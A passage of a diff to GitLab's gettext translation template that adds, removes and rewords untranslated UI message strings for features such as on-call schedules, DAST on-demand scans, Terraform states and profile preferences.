+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18619,9 +19039,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18637,6 +19063,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18646,6 +19075,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18772,6 +19204,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18787,9 +19246,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18814,9 +19270,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18829,6 +19282,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18838,7 +19297,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18862,9 +19321,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18946,6 +19402,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19012,9 +19471,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19060,6 +19516,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19216,6 +19675,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19330,6 +19792,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19354,9 +19819,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19621,6 +20083,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19729,9 +20194,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19777,6 +20239,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19789,6 +20254,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19798,6 +20266,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20023,6 +20497,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20032,9 +20509,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20197,18 +20671,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20218,9 +20686,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20242,9 +20707,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20299,6 +20761,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20428,6 +20893,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20437,6 +20920,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20467,6 +20953,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20824,9 +21313,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21079,7 +21565,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21121,6 +21610,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21181,9 +21673,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21205,6 +21694,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21274,6 +21769,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21655,6 +22153,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21970,6 +22471,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22123,6 +22627,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22207,9 +22714,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22285,6 +22789,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22312,9 +22819,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22519,9 +23023,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22537,15 +23038,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22624,6 +23122,15 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22657,6 +23164,12 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22708,6 +23221,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22738,12 +23254,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22771,6 +23293,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22804,10 +23329,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22927,12 +23452,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23059,6 +23590,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23098,6 +23632,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23119,6 +23656,9 @@ msgstr[2] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23188,6 +23728,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23251,12 +23794,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23284,9 +23821,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23389,12 +23923,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23413,7 +23941,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23470,15 +23998,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23581,6 +24103,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23620,9 +24145,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23713,6 +24235,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23899,6 +24424,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24064,6 +24592,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24181,9 +24715,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24526,12 +25057,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24574,21 +25099,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24607,6 +25141,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24703,9 +25240,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24760,13 +25294,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24796,6 +25333,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24892,10 +25432,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24946,6 +25489,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25057,9 +25603,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25105,7 +25648,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25186,10 +25729,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25471,10 +26017,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25498,6 +26044,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25615,9 +26164,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25777,6 +26323,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25945,6 +26503,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25954,6 +26515,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26002,6 +26566,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26176,6 +26743,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26344,9 +26914,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26386,6 +26953,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26398,24 +26968,48 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26437,6 +27031,12 @@ msgstr[2] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26464,6 +27064,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26494,6 +27097,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26590,9 +27196,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26602,10 +27205,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26674,9 +27277,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26719,6 +27319,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26767,6 +27370,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26812,6 +27421,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26923,6 +27535,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26932,7 +27547,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
